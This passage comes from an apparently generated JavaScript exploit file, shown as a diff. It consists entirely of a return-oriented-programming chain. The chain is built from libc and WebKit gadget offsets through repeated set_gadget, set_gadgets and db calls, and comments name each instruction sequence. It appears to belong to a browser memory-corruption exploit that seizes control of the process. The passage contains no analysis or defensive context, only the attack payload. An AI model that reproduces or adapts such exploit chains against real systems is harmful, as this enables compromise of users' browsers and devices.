[rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L906: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L907: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L908: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+101296, //L909 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L909: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+101352, //L911 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L911: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+101464, //L915 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L913: +db([15, 0]); // 0xf +set_gadget(libc_base+772328,); //pop rcx +//L914: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L915: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+101544, //L916 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+101560, //L917 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L916: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L917: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+101648, //L918 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L918: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+101704, //L920 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L920: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+101776, //L922 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L922: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+101832, //L924 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L924: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L926: +libc_base+432565, //mov rax, rdx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+101984, //L928 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L927: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L928: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+102088, //L931 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+102072, //L930 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L930: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L931: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+102232, //L935 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+102200, //L933 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+102216, //L934 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L933: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L934: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L935: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+102304, //L936 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L936: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+102360, //L938 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L938: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+102472, //L942 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L940: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L941: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L942: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+102552, //L943 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+102568, //L944 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L943: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L944: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+102656, //L945 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L945: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+102712, //L947 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L947: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+102784, //L949 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L949: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+102840, //L951 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L951: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L953: +libc_base+713278, //pop rsi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+102992, //L955 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L954: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L955: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+103096, //L958 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+103080, //L957 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L957: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L958: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+103240, //L962 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+103208, //L960 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+103224, //L961 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L960: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L961: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L962: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+103312, //L963 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L963: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+103368, //L965 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L965: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+103480, //L969 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L967: +db([17, 0]); // 0x11 +set_gadget(libc_base+772328,); //pop rcx +//L968: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L969: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+103560, //L970 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+103576, //L971 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L970: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L971: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+103664, //L972 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L972: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+103720, //L974 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L974: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+103792, //L976 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L976: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+103848, //L978 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L978: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+103952, //L981 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L980: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L981: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+104056, //L984 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+104040, //L983 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L983: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L984: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+104200, //L988 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+104168, //L986 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+104184, //L987 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L986: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L987: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L988: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+104272, //L989 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L989: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+104328, //L991 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L991: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+104440, //L995 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L993: +db([4, 0]); // 0x4 +set_gadget(libc_base+772328,); //pop rcx +//L994: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L995: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+104520, //L996 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+104536, //L997 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L996: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L997: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+104624, //L998 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L998: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+104680, //L1000 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1000: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+104800, //L1003 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1002: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1003: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+104904, //L1006 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+104888, //L1005 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1005: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1006: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+105048, //L1010 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+105016, //L1008 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+105032, //L1009 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1008: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1009: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1010: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+105120, //L1011 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1011: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+105176, //L1013 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1013: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+105288, //L1017 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1015: +db([18, 0]); // 0x12 +set_gadget(libc_base+772328,); //pop rcx +//L1016: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1017: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+105368, //L1018 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+105384, //L1019 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1018: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1019: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+105472, //L1020 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1020: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+105528, //L1022 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1022: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+105600, //L1024 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1024: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+105656, //L1026 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1026: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1028: +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+105808, //L1030 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1029: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1030: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+105912, //L1033 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+105896, //L1032 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1032: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1033: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+106056, //L1037 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+106024, //L1035 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+106040, //L1036 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1035: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1036: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1037: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+106128, //L1038 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1038: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+106184, //L1040 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1040: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+106296, //L1044 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1042: +db([19, 0]); // 0x13 +set_gadget(libc_base+772328,); //pop rcx +//L1043: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1044: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+106376, //L1045 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+106392, //L1046 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1045: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1046: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+106480, //L1047 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1047: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+106536, //L1049 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1049: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+106608, //L1051 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1051: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+106664, //L1053 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1053: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1055: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+106816, //L1057 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1056: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1057: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+106920, //L1060 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+106904, //L1059 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); 